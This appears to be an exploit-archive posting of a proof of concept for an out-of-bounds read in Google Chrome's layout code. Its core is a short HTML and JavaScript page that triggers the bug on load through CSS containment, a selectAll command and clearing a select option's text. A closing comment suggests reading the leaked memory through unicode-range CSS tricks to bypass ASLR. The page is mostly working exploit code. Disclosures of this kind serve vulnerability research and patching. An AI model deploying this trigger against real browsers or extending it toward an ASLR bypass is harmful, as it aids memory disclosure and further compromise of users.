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Google Chrome 'layout' Out-of-Bounds Read

Posted on 30 November -0001

<HTML><HEAD><TITLE>Google Chrome  'layout' Out-of-Bounds Read</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY><!--
PoC:
-->
 
<style>
content { contain: size layout; }
</style>
<script>
function leak() {
 document.execCommand("selectAll"); 
 opt.text = ""; 
}
</script>
<body onload=leak()>
<content>
<select>
<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
</select>
</content>
 
<!--
Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
-->
</BODY></HTML>

 

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